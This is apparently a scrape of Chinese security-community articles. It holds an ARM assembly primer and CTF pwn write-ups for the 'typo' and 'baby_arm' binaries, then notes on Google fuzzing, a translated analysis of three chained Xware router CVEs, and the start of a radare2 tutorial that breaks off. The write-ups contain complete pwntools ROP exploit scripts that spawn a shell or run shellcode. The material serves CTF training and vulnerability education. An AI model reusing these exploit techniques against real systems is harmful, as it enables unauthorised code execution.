ARM处理器的指令集可以分为六种指令：跳转指令、数据处理指令、程序状态寄存器处理指令、加载存储指令、协处理器指令、异常产生指令。总的来说和`X86`指令集还是有些不一样的
### 跳转指令
跳转指令可以分为两种：
* 专门的跳转指令，可以实现向前向后`32MB`的地址跳转
* 直接修改`PC`寄存器，通过向`PC`寄存器写入目的地址，可以实现`4GB`的地址空间的跳转，结合使用`MOV LR, PC`，保存函数的返回地址
1. `B`：执行一个简单的跳转，目标地址是相对于当前`PC`值的偏移地址
2. `BL`：跳转之前会把`PC`值存到`R14`寄存器中，通常用于函数调用
3. `BLX`：和上一个指令相比，多的功能是将处理器的工作状态由`ARM`变成`Thumb`
4. `BX`：可以跳转到`ARM`指令或者`Thumb`指令
### 数据处理指令
可分为数据传送指令、算术逻辑运算运算、比较指令
1. `MOV`：和X86是差不多的
2. `MVN`：在转移之前先按位取反
3. `CMP`：两个寄存器中的值进行比较，不改变寄存器的值，但是更新CPSR标志寄存器
4. `ADD`：把后两个寄存器相加，结果存在第一个寄存器中
5. `SUB`：把后两个寄存器相减，结果存在第一个寄存器中
6. `AND`：逻辑与
7. `ORR`：逻辑或
8. `EOR`：异或
9. `MUL`：把后两个寄存器相乘，结果存在第一个寄存器中
### 程序状态寄存器处理指令
1. `MRS`：用于将程序状态寄存器的内容送到通用寄存器
2. `MSR`：将操作数的内容送到程序状态寄存器的特定域
### 加载存储指令
适用于在寄存器和存储器之间数据的传输
> 和`X86`不一样的是`mov`指令只能够在寄存器之间传送数据
1. `LDR`：将一个32位的数据送到寄存器中
2. `LDRB`：将一个8位的数据送到寄存器中，并且把高24位清零
3. `LDRH`：将一个16位的数据送到寄存器中，并且把高16位清零
4. `STR`：从源寄存器32位存入到存储器中，和前几个指令相比是不清零
### 协处理器指令
1. `CDP`：用于`ARM`处理器通知`ARM`协处理器来处理特定的操作，若协处理器不能完成，则抛出异常
2. `LDC`：让协处理器来将源寄存器的内容送到存储器中，若协处理器不能完成操作，则抛出异常
### 异常产生指令
1. `SWI`：产生软件中断
2. `BKPT`：产生软件断点中断
以上总结的是常见的，如果做题遇到不认识的指令，及时添补即可
## 实战
### typo
题目信息：
radish ➜ arm-pwn file typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
radish ➜ arm-pwn checksec --file typo
[*] '/media/psf/Home/MyFile/ctf/arm-pwn/typo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
题目是静态链接，但是已经去了符号表，我们可以把libc的符号表导出来，再导进去这个文件，即可恢复一些符号
用ida来分析程序：（通过字符串来找到关键函数）
`sub_8F00`
void __fastcall __noreturn sub_8F00(int a1, int a2)
{
int v2; // ST00_4
int v3; // ST04_4
void *v4; // r3
int v5; // r1
void *v6; // r2
void *v7; // r3
int v8; // r0
int v9; // r0
sub_11D04(off_A1538, 0, 2, 0, a2, a1);
sub_11D04(off_A1534[0], 0, 2, 0, v2, v3);
sub_22240(1, "Let's Do Some Typing Exercise~nPress Enter to get start;nInput ~ if you want to quitn", 0x56, v4);
if ( sub_12170() != 10 )
sub_FBD4(-1);
sub_22240(1, "------Begin------", 0x11, 0xA);
v8 = time(0, v5, v6, v7);
sub_FE28(v8);
ftime();
v9 = sub_10568();
sub_11338("n%sn", &aAbandon[20 * (v9 % 4504)]);
}
首先用户必须先读入一个回车，然后才程序继续，不然程序就直接退出了，测试的时候发现f5出的不是太全，看汇编
.text:00009034 LDR R2, [R11,#-0x1C]
.text:00009038 MOV R3, R2
.text:0000903C MOV R3, R3,LSL#2
.text:00009040 ADD R3, R3, R2
.text:00009044 MOV R3, R3,LSL#2
.text:00009048 LDR R2, =aAbandon ; "abandon"
.text:0000904C ADD R3, R3, R2
.text:00009050 MOV R0, R3
.text:00009054 BL sub_8D24
.text:00009058 STR R0, [R11,#-0x20]
.text:0000905C LDR R3, [R11,#-0x20]
.text:00009060 CMP R3, #0
.text:00009064 BNE loc_907C
.text:00009068 LDR R0, =aERROR ; "E.r.r.o.r."
.text:0000906C BL sub_11AC0
.text:00009070 LDR R3, [R11,#-0x14]
可以看到`E.r.r.o.r.`，这个是每次循环读入字符串之后的输出，那么输入的函数肯定在这个之前
`sub_8D24`
signed int __fastcall sub_8D24(int a1)
{
unsigned int v1; // r0
int v2; // r4
unsigned __int8 *v5; // [sp+4h] [bp-78h]
char v6; // [sp+Ch] [bp-70h]
v5 = a1;
memset(&v6, 0, 100);
sub_221B0(0, &v6, 0x200);
v1 = strlen(v5);
if ( !sub_1F860(v5, &v6, v1) )
{
v2 = strlen(v5);
if ( v2 == strlen(&v6) - 1 )
return 1;
}
if ( v6 == 0x7E )
return 2;
return 0;
}
可以清晰的看到存在栈溢出
用`pwndbg`中的`cyclic`测出来偏移是`112`,第一次做arm的pwn，搞不懂返回地址在哪里存，把stack的数据打印出来就好了：
pwndbg> stack 100
00:0000│ sp 0xf6ffee78 —▸ 0xa30d8 ◂— 0
01:0004│ 0xf6ffee7c —▸ 0x9c0f8 ◂— rsbvc r6, sb, #0x730000 /* 0x72696873; 'shirt' */
02:0008│ 0xf6ffee80 —▸ 0xf6ffeee4 ◂— 0x0
03:000c│ r1 0xf6ffee84 ◂— 'wxmn'
04:0010│ 0xf6ffee88 ◂— 0x0
... ↓
1c:0070│ 0xf6ffeee8 —▸ 0x6bf08 ◂— beq #0x1d35338 /* 'n%sn' */
1d:0074│ 0xf6ffeeec —▸ 0xf6ffef40 —▸ 0x8af8c ◂— cdphi p13, #0xb, c2, c2, c0, #0 /* 0x8eb22d00 */
1e:0078│ 0xf6ffeef0 —▸ 0xf6ffef2c —▸ 0xa0ac ◂— bl #0xfbd4
1f:007c│ r11 0xf6ffeef4 —▸ 0x9058 ◂— str r0, [fp, #-0x20] /* ' ' */
20:0080│ 0xf6ffeef8 —▸ 0xf6fff084 —▸ 0xf6fff241 ◂— './typo'
21:0084│ 0xf6ffeefc ◂— 0x1
22:0088│ 0xf6ffef00 ◂— 0x6
23:008c│ 0xf6ffef04 —▸ 0xf6fff241 ◂— './typo'
24:0090│ 0xf6ffef08 —▸ 0x8cb4 ◂— push {r3, lr}
25:0094│ 0xf6ffef0c —▸ 0xa670 ◂— cmp r4, sb /* 't' */
可以发现返回地址存在`r11`，距离`R11`的偏移也刚刚好是`112`
然后用ROPgadget找到合适的指令
radish ➜ arm-pwn ROPgadget --binary typo --only 'pop'
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}
Unique gadgets found: 29
radish ➜ arm-pwn
可以看到有一个`pop {r0, r4, pc}`，刚好覆盖了第一个参数和`pc`，修改成`system("/bin/shx00")`即可
exp:
from pwn import *
# from LibcSearcher import *
context.log_level='debug'
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
r = process("./typo", timeout = 2)
ru("if you want to quitn")
sl("")
ru("n")
ru("n")
system_addr = 0x00110B4
bin_sh_addr = 0x006C384
ppp = 0x00020904#pop {r0, r4, pc}
payload = "A"*112+p32(ppp)+p32(bin_sh_addr)+p32(0)+p32(system_addr)
sl(payload)
ri()
### baby_arm
这个题是64位的
通过捣鼓环境发现在`ubuntu:18.04`上gdb没有报错，所以又在`ubuntu:18.04`配置了一下环境
radish ➜ arm-pwn checksec --file baby_arm
[*] '/media/psf/Home/MyFile/ctf/arm-pwn/baby_arm'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
radish ➜ arm-pwn file baby_arm
baby_arm: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
这道题是动态链接的
在IDA里面分析程序
__int64 sub_400818()
{
sub_400760();
write(1LL, "Name:", 5LL);
read(0LL, &unk_411068, 512LL);
sub_4007F0();
return 0LL;
}
首先读入bss段上一个长度512的字符串,然后在`sub_4007F0`里面存在栈溢出
__int64 sub_4007F0()
{
__int64 v1; // [xsp+10h] [xbp+10h]
return read(0LL, &v1, 512LL);
}
但是发现，第二次输入的字符串在ret地址的下面，所以覆盖`sub_400818`函数的返回地址
SP 0x40007ffd60 —▸ 0x40007ffdb0 —▸ 0x40007ffdc0 ◂— 0x0
PC 0x400810 ◂— ldp x29, x30, [sp], #0x50
──────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────
► 0x400810 ldp x29, x30, [sp], #0x50
0x400814 ret
↓
0x400858 movz w0, #0
0x40085c ldp x29, x30, [sp], #0x10
0x400860 ret
↓
0x40008656e0 bl #0x4000879f40
↓
0x4000879f40 stp x29, x30, [sp, #-0x10]!
0x4000879f44 adrp x1, #0x4000999000
0x4000879f48 movz w3, #0x1
0x4000879f4c add x1, x1, #0x5a0
0x4000879f50 mov x29, sp
──────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────
00:0000│ x29 sp 0x40007ffd60 —▸ 0x40007ffdb0 —▸ 0x40007ffdc0 ◂— 0x0
01:0008│ 0x40007ffd68 —▸ 0x400858 ◂— movz w0, #0
02:0010│ x1 0x40007ffd70 ◂— 'aaaaaaaaan'
03:0018│ 0x40007ffd78 ◂— 0x1000000a61 /* 'an' */
04:0020│ 0x40007ffd80 —▸ 0x40007ffdb0 —▸ 0x40007ffdc0 ◂— 0x0
05:0028│ 0x40007ffd88 —▸ 0x400854 ◂— bl #0x4007f0
06:0030│ 0x40007ffd90 —▸ 0x400868 ◂— stp x29, x30, [sp, #-0x40]!
07:0038│ 0x40007ffd98 ◂— 0x8020080280200802
────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────
► f 0 400810
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint *0x000000000400810
计算出来偏移是72，这里ROP用到的是`ret2csu`
loc_4008AC ; CODE XREF: sub_400868+60↓j
LDR X3, [X21,X19,LSL#3] ;将x21寄存器的地址指向的内容赋给x3寄存器
MOV X2, X22 ;将x22寄存器的内容赋给x2
MOV X1, X23 ;将x23寄存器的内容赋给x1
MOV W0, W24 ;将W24寄存器的内容赋给W0
ADD X19, X19, #1 ;x19寄存器加一
BLR X3 ；跳转到x3寄存器指向的地址
CMP X19, X20 ；比较x19和x20是否相等
B.NE loc_4008AC ；如果不相等，就跳回loc_4008AC继续执行
loc_4008CC ; CODE XREF: sub_400868+3C↑j
LDP X19, X20, [SP,#0x10] ;将sp+0x10,sp+0x18处的内容给x19,x20
LDP X21, X22, [SP,#0x20] ;将sp+0x20,sp+0x28处的内容给x21,x22
LDP X23, X24, [SP,#0x30] ;将sp+0x30,sp+0x38处的内容给x23,x24
LDP X29, X30, [SP],#0x40 ;将sp,sp+0x8处的内容给x29,x30
RET
然后函数里面存在`mprotect`，我们利用`ROP`把`bss`段修改成可读可写可执行的权限，然后把`shellcode`写入里面，最后跳转到bss段即可获取到`shell`
`exp`:
from pwn import *
context.binary = "./baby_arm"
context.log_level='debug'
'''
if local:
p = remote("106.75.126.171","33865")
elif debug:
p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "baby_arm"])
else:
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "baby_arm"])
'''
# r = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "baby_arm"])
# r = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "baby_arm"])
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru("Name:")
shellcode = asm(shellcraft.aarch64.sh())
mprotect_point = 0x4110a0
mprotect_plt = 0x000000000400600
pay = shellcode + "a"*0xc+p64(mprotect_plt)
# print len(shellcode)
sl(pay)
code_1 = 0x4008CC
payload = "a"*72
payload += p64(code_1)
payload += p64(0)+p64(0x4008AC)
payload += p64(0)+p64(1)#X19, X20, [SP,#0x10]
payload += p64(mprotect_point)+p64(7)#X19, X20, [SP,#0x10]
payload += p64(0x1000)+p64(0x000000000411000)
payload += p64(0)+p64(0x411068)
# gdb.attach(r,'''
# set architecture aarch64
# ''')
# raw_input()
sl(payload)
ri()
## 参考
[ARM汇编指令集](https://blog.csdn.net/zqixiao_09/article/details/50726544)
[【上海市大学生网络安全大赛】pwn复现
](https://zszcr.github.io/2018/11/05/2018-11-5-%E3%80%90%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%A4%A7%E5%AD%A6%E7%94%9F%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B%E3%80%91baby_arm%E5%A4%8D%E7%8E%B0/)
[arm – ROP](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/arm/arm_rop-zh/) | 社区文章 |
1. 目标：漏洞挖掘越来越难
1. 关注客户端，包括安卓，IOS，WINDOWS操作系统，PDF,DOC,AV等等；各种OSS开源代码安全，并且开放了OSS-FUZZ工具；
1. 漏洞削减技术来帮助Google的技术提升，包括彻底修复一类漏洞、彻底修复这个漏洞，此种漏洞的攻击面、增加这个漏洞利用的阶段性必须使用组合技术绕过；
1. 漏洞挖掘方法：Fuzzing、优秀的漏洞挖掘者想出如何挖洞的思路、针对高难度的内核等需要手工（手工输出经验）；
1. 公开漏洞挖掘和使用的技术：
<https://github.com/google/oss-fuzz>
[https://github.com/google?utf8=%E2%9C%93&q=fuzz&type=&language=\](https://github.com/google?utf8=%E2%9C%93&q=fuzz&type=&language=\\)
工具：valgrind
公开设计方法：例如chrome的设计原则
公开漏洞细节：<https://googleprojectzero.blogspot.com/>
Fuzzing技术分成：
a、内存Sanitizer：未初始化指针；
b、地址Sanitizer:发现UAF、缓冲区溢出、内存泄露； Google 99%项目应用在单元测试；
c、进程Sanitizer：发现竞争条件等漏洞；
d、UBSanitizer：未知行为的；
1. 参考地址：
<https://www.youtube.com/watch?v=ZKIIPu1wqHs> Google Project One
<https://www.youtube.com/watch?v=FP8zFhB_cOo Google> Fuzzing
1. 发现漏洞列表:
<https://code.google.com/p/google-security-research/issues/detail?id=222>
[https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids](https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids)
1. Google Fuzzing规模
a、 24*7无间断的5000核CPU跑；
b、5000+ bugs in chromium 1200+ bugs in ffmpeg；
c、数百种fuzzing方式；
d、高代码涵盖量；
e、工具Libfuzzer:最典型的发现了OpenSSL心脏滴血漏洞；
f、高效样本构造；
1. 详细细节（高端玩法Timeless debugger技术有点类似狼来了高端玩法狼自杀）
工具：
<http://qira.me/>
<https://github.com/BinaryAnalysisPlatform/qira>
10.最终目标
Google是从设计框架规范、到单元测试、到漏洞挖掘深度和方式、到削减漏洞一条线的闭环。（纯漏洞角度，没有涵盖其他SDL原则和方法） | 社区文章 |
# 【技术分享】实战栈溢出：三个漏洞搞定一台路由器
|
##### 译文声明
本文是翻译文章，文章来源：杨坤@长亭科技
原文地址：<https://zhuanlan.zhihu.com/p/26271959>
译文仅供参考，具体内容表达以及含义原文为准。
****
**写在前面**
很多技术宅们都喜欢折腾自己的路由器，例如在上面搭建NAS、配置远程下载和使用代理上网，这些技术和相关软件能帮助大家在硬盘里搜集大量的娱乐、教育资源。
不过大家在网上下载和使用第三方软件时要小心啦，要多关注软件的安全更新。长亭安全研究实验室在2016年5月通过GeekPwn向华为PSIRT报告了迅雷固件Xware的多个漏洞，这些漏洞不仅存在于华为荣耀路由默认支持的远程下载功能中，也会影响使用Xware的其他路由器或Linux服务器。在收到漏洞报告后，华为官方迅速给出了修复，华为荣耀路由早已不受影响。不过，迅雷官方在2016年2月就已经宣布停止维护该固件，github上基于Xware的一些开源项目也因此弃坑（例如[Xinkai/XwareDesktop](http://link.zhihu.com/?target=https%3A//github.com/Xinkai/XwareDesktop)和[PointTeam/PointDownload](http://link.zhihu.com/?target=https%3A//github.com/PointTeam/PointDownload)）。目前散落在网上的软件版本很可能是未得到修复的，在这里建议大家尽量避免使用已过期且无官方支持的Xware软件。
在本文中，笔者会给大家分享一下漏洞的细节和利用思路。阅读本文不需要任何安全研究方面的经验，只需要一点点栈溢出的基本知识。还不知道栈溢出的读者请移步长亭技术专栏的《手把手教你栈溢出从入门到放弃》上下两篇文章，如果您读完后真的准备放弃，那不妨试试本文，或许本文能给你一次重新选择的机会。
**说点历史**
栈溢出攻击的相关概念最早要追述到1972年美国空军发表的一份研究报告《Computer Security Technology Planning
Study》。在这份报告中，通过溢出缓冲区来注入代码这一想法首次被提了出来。大家来感受一下最早的描述原文：
栈溢出的概念虽然早就提出，但直到1988年才出现了首次真实的攻击，Morris蠕虫病毒利用了Unix操作系统中fingerd程序的gets()函数导致的栈溢出来实现远程代码执行。
1996年，Elias Levy (a.k.a Aleph One)在大名鼎鼎的Phrack杂志上发表了文章《Smashing the Stack for
Fun and Profit》，从此栈溢出漏洞的利用技术被广泛知晓。
也许有读者会疑惑，栈溢出这样的低级错误现在还存在吗？本文要介绍的几个2016年发现的漏洞中，最为关键的一个漏洞就是栈溢出。从最早提出这一概念的1972年到现在已经有四十多年的历史，经历了将近半个世纪，程序员们依然会在这一看似简单的问题中跌倒。这一情况并非个案，在路由器这类嵌入式设备中依然普遍存在，长亭安全研究实验室在2016年GeekPwn中攻破了10款路由器，利用的漏洞中大多数还是栈溢出。而即便是经历了多年发展PC端操作系统，也同样存在栈溢出：在Pwn2Own
2017上，来自美国的Richard Zhu找到了Mac操作系统中的栈溢出漏洞。
来到2017年的今天，面对栈溢出，我们依然不能说放弃。
**路由器被搞，有哪些危害？**
路由器作为家庭上网的入口，其安全重要性不言而喻。家里所有智能设备、电脑都需要通过连接路由器上网，一旦路由器沦陷，攻击者就可以看到所有明文上传和下载的流量。还记得2016年的央视315晚会吗？节目现场就演示了在WiFi端截获手机App的上网流量，其中包含姓名、电话、生日、家庭地址、订单等隐私信息。更严重的是，攻击者还可能通过篡改流量进一步入侵连接这台路由器的设备，例如在你下载某一个Windows安装包或者安卓应用APK文件时，偷偷将其替换成植入后门的版本。
**不开防火墙，后果很严重**
路由器有哪些可能被入侵的途径呢？一般来说，家用路由器用于组建家庭局域网（LAN）。对于公网连接的部分（WAN口），路由器往往都配置了防火墙，禁止了公网对路由器自身服务的访问，这样即便路由器存在漏洞，也不至于暴露在“大庭广众”之下。长亭安全研究实验室就在GeekPwn上披露过一款在此问题上出现疏忽的路由器，这就导致攻击者可以直接在公网上利用路由器的漏洞来入侵成千上万个目标。
**入侵路由两步走**
对于大多数开启防火墙的路由器来说，入侵的第一步就是接入路由器局域网络（LAN），这一步有好多种方法可以尝试：Wifi万能钥匙、破解WEP加密、破解WPS
PIN码、使用字典爆破Wifi密码等等。而对于公共场合的路由器来说，这一步就不是问题了，Wifi密码是公开的，任何人都可以直接接入。
接入路由器网络后，第二步就是利用路由器自身的缺陷来取得路由器的完全控制权，本文介绍的案例漏洞就是用在这一步。路由器的漏洞主要存在于自身开启的软件服务当中，例如几乎每个路由器都会有一个开启在80端口的Web管理界面，还有其他常见服务例如用于分配IP地址的服务DHCP、即插即用服务UPnP等，这些服务会监听在某个TCP/UDP端口，接入路由器网络的攻击者可以通过向这些端口发送特定数据包来实施各种类型的攻击，例如权限绕过、命令注入、内存破坏等。
说完了攻击的场景，让我们回到本文的目标上来。如果路由器自带或者手动配置了迅雷远程下载功能，Xware软件会监听一些端口，其中包含一个处理HTTP协议的端口，在某款路由器上为9000，本文介绍的漏洞就是跟这个服务有关。大家可以在这里下载官方停止维护之前放出的最后一个版本。
**一串漏洞来袭**
官方提供的Xware软件以及路由器固件中自带的Xware软件都只有编译好的二进制文件，通过逆向分析，我们一共发现了三个问题，每个问题单独来看都无法造成严重影响，但是三个漏洞经过组合利用便可以达到远程任意代码执行的效果。
**漏洞一：你真的会用snprintf吗：信息泄漏**
学过C语言的同学都知道snprintf函数的用法，这是最基本的字符串处理函数之一。基本形式如下：
int snprintf(char *str, size_t size, const char *format, ...);
众所周知，我们可以通过指定snprintf的第二个参数size来防止缓冲区溢出的发生，然而你是否真正理解snprintf返回值的含义？大家先来看看下面几行代码，猜猜代码的输出是什么：
int main() {
char buf[8];
int n = snprintf(buf, 8, "%s", "1234567890");
printf("buf: %sn", buf);
printf("n: %dn", n);
}
相信第一个buf的输出难不倒大多数人，而返回值n的输出一定会让一部分人吃惊：
buf: 1234567
n: 10
难道snprintf函数返回的不是打印字符的个数吗？让我们来查一查文档，下面是摘录自man中的一段解释：
The functions snprintf() and vsnprintf() do not write more than size bytes (including the terminating null byte (’’)). If the output was truncated due to this limit, then the return value is the number of characters which would have been written to the final string if enough space had been available. Thus, a return value of size or more means that the output was truncated.
确实，snprintf返回的是打印字符的个数，但是这个数字是在假设没有第二个参数size限制的情况下统计的。这一细节同样困惑了Xware开发人员，我们来看一看存在漏洞的代码（下图为IDA的反编译结果）：
在上面这段代码中，snprintf的返回值v19被用作HTTP响应包的实际长度传入em_comm_send函数。HTTP响应包的实际长度实际上会受到snprintf的第二个参数0x100的限制，但返回的长度v19实际上没有这个限制，因此http响应在有些情况下会输出超过0x100的字符，buf缓冲区后面的数据会被返回。buf缓冲区实际分配在堆上，因此这个漏洞能够用来泄露堆上的数据。
触发漏洞时返回的HTTP响应数据如下所示：
这个漏洞的CVE编号是CVE-2016-5367。
**漏洞二：INI配置注入漏洞**
INI是一种常见的初始化配置文件格式，INI就是Initialization的前三个字母。INI文件的格式非常简单，由多个节（Section）组成，每个节由一行行的键值对组成，如下所示：
[section1]
key1=value1
key2=value2
[section2]
key3=value3
Xware的HTTP服务存在一个登录接口login，该接口会解析HTTP请求中cookie里的一些参数，并将值保存入ini配置文件中。例如cookie =
"isvip=0; jumpkey=A; usernick=B; userid=1"时，ini配置文件中会写入用户相关的参数，样例配置文件如下：
[license]
server_addr=X.X.X.X
[huiyuan]
userid=1
username=B
vip_level=0
jumpkey=A
细心的话会发现在ini配置文件中，不同的键值对都是通过换行来区分。如果键或值中存在换行符怎么办？假如我们尝试给出这样的cookie = “isvip=0;
jumpkey=Ann[license]nserver_addr=1.3.3.7; usernick=B; userid=1”，那么写入配置文件的就是：
[license]
server_addr=X.X.X.X
[huiyuan]
userid=1
username=B
vip_level=0
jumpkey=A
[license]
server_addr=1.3.3.7
这样我们就可以在ini文件后面的位置插入一个新的配置，来修改文件前面的默认配置，此例中我们修改的是server_addr的值。
本身通过cookie来设置的配置项只能是huiyuan这个节中的指定键，通过在值中插入换行符，我们就实现了任意配置选项的注入。
这个漏洞的CVE编号是CVE-2016-5366。
**漏洞三：发生在2016年的栈溢出**
利用上述漏洞，在配置文件中把默认的license server改掉能有什么用呢？
幸运的是，Xware的这个HTTP服务器还暴露了一个接口可以重启Xware软件，攻击者可以随时调用它，来让程序在重启时解析被我们注入过的INI配置文件。所以让我们看看程序在初始化过程中对配置文件中的license
server做了什么。
通过逆向分析，我们找到了解析license server的相关代码：
解析server地址和端口的代码在parse_server_addr函数中：
此处代码明显存在溢出，首先memcpy函数在使用时指定的拷贝长度只与源字符串有关，其次在另个分支中直接使用了危险函数strcpy。两处拷贝的目标缓冲区v4，即传入parse_server_addr的第二个参数，实际是在上层函数中栈上的局部buffer，因此这里的溢出是典型的栈溢出。
这个漏洞的CVE编号是CVE-2016-5365。
**漏洞利用：“组合拳”**
上面三个漏洞每个漏洞单独看都无法造成严重影响，即便是栈溢出漏洞也是发生在解析初始化INI配置文件的过程中，一般人都会认为配置文件中的选项都是写死的，例如这里的license
server地址，就算用strcpy也不必担心。然而如果我们把这几个小问题组合在一起使用时，会出现怎样的威力呢？
首先我们可以通过堆内存的泄露找到libc库加载的地址，因为通常linux采用的是dlmalloc/ptmalloc，堆上空闲的块中会包含指向libc全局变量的指针（具体参考堆的实现，这里不作展开）。目前大多MIPS/ARM架构的路由器都没有开启地址随机化保护（ASLR），泄露的这个地址往往是不变的。
接下来我们可以利用INI配置注入漏洞，往INI配置文件中注入超长的license server地址，并在其中植入ROP
payload。由于我们已经知道libc的地址，我们就能够使用libc中的gadget来组ROP。
最终，只要我们调用重启Xware的接口，Xware就会重新解析INI配置文件，并在这个过程中触发栈溢出，从而执行我们的ROP代码。
我们用下面的流程图来总结这三个漏洞的组合利用过程：
**后记**
本文以一个真实案例给大家介绍了栈溢出漏洞造成的危害。根据长亭安全研究实验室的研究经验，像这样的栈溢出的案例在智能设备上还有很多很多。目前市面上的智能设备种类和品牌可谓百花齐放，这些产品在安全性的设计和实现上参差不齐。如果单从安全性考量，笔者建议读者在选购时选择大厂商自主研发的产品，因为大品牌厂商不仅在研发经验上有更多的积累，而且在对待安全问题的态度上也是积极正面的。也建议大家在使用智能设备时，多关注官方的动态和安全补丁的发布，及时更新固件。
**参考资料**
[手把手教你栈溢出从入门到放弃（上）](https://zhuanlan.zhihu.com/p/25816426)
[手把手教你栈溢出从入门到放弃（下）](https://zhuanlan.zhihu.com/p/25892385)
[安全预警
-华为荣耀路由器产品中存在多个安全漏洞](http://link.zhihu.com/?target=http%3A//www.huawei.com/cn/psirt/security-advisories/huawei-sa-20160607-01-honorrouter-cn)
[Xware停止维护官方公告](http://link.zhihu.com/?target=http%3A//g.xunlei.com/thread-15460-1-1.html)
[Xware支持的路由器列表](http://link.zhihu.com/?target=http%3A//luyou.xunlei.com/thread-7465-1-1.html) | 社区文章 |
# 【工具分享】Radare 2之旅：通过实例讲解Radare 2在逆向工程中的应用（下）
|
##### 译文声明
本文是翻译文章，文章来源：megabeets.net
原文地址：<https://www.megabeets.net/a-journey-into-radare-2-part-1/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[ **Kp_sover**](http://bobao.360.cn/member/contribute?uid=2899451914)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【工具分享】Radare 2之旅——通过crackme实例讲解Radare
2在逆向工程中的应用（上）**](http://bobao.360.cn/learning/detail/4400.html)
**
**
**前言**
好了，接着上一篇继续介绍 Radare 2 其他的功能。
**定位（Seeking）**
之前介绍过，r2分析完一个程序后会停留在入口点，现在是时候去其他地方看看了，刚刚看到我们所感兴趣的字符串都是在 'main'
这个函数里被调用的，因此我们用'seek' 命令跳转过去，在 r2 里，它的指令是 's' ,当然你仍然可以用在它后面添加 '?'
的方式来查看它所有可能的用法，根据你的需要选择吧：
[0x08048370]> s?
|Usage: s # Seek commands
| s Print current address
| s addr Seek to address
| s- Undo seek
| s- n Seek n bytes backward
| s– Seek blocksize bytes backward
| s+ Redo seek
| s+ n Seek n bytes forward
| s++ Seek blocksize bytes forward
| s[j*=] List undo seek history (JSON, =list, *r2)
| s/ DATA Search for next occurrence of ‘DATA’
| s/x 9091 Search for next occurrence of x90x91
| s.hexoff Seek honoring a base from core->offset
| sa [[+-]a] [asz] Seek asz (or bsize) aligned to addr
| sb Seek aligned to bb start
| sC[?] string Seek to comment matching given string
| sf Seek to next function (f->addr+f->size)
| sf function Seek to address of specified function
| sg/sG Seek begin (sg) or end (sG) of section or file
| sl[?] [+-]line Seek to line
| sn/sp Seek next/prev scr.nkey
| so [N] Seek to N next opcode(s)
| sr pc Seek to register
seek 命令通常是接受一个地址或者数学表达式作为参数，这个表达式可以是操作指令、标志位、或者内存操作相关，现在我们想查找 main 函数，因此我们使用
's main' 指令就可以了，不过在这之前我们可以先看看 r2 到底为我们分析出了哪些函数，因此我们用 'afl'
指令，这个指令代表着分析函数列表（Analyze Functions List）.
[0x08048370]> afl
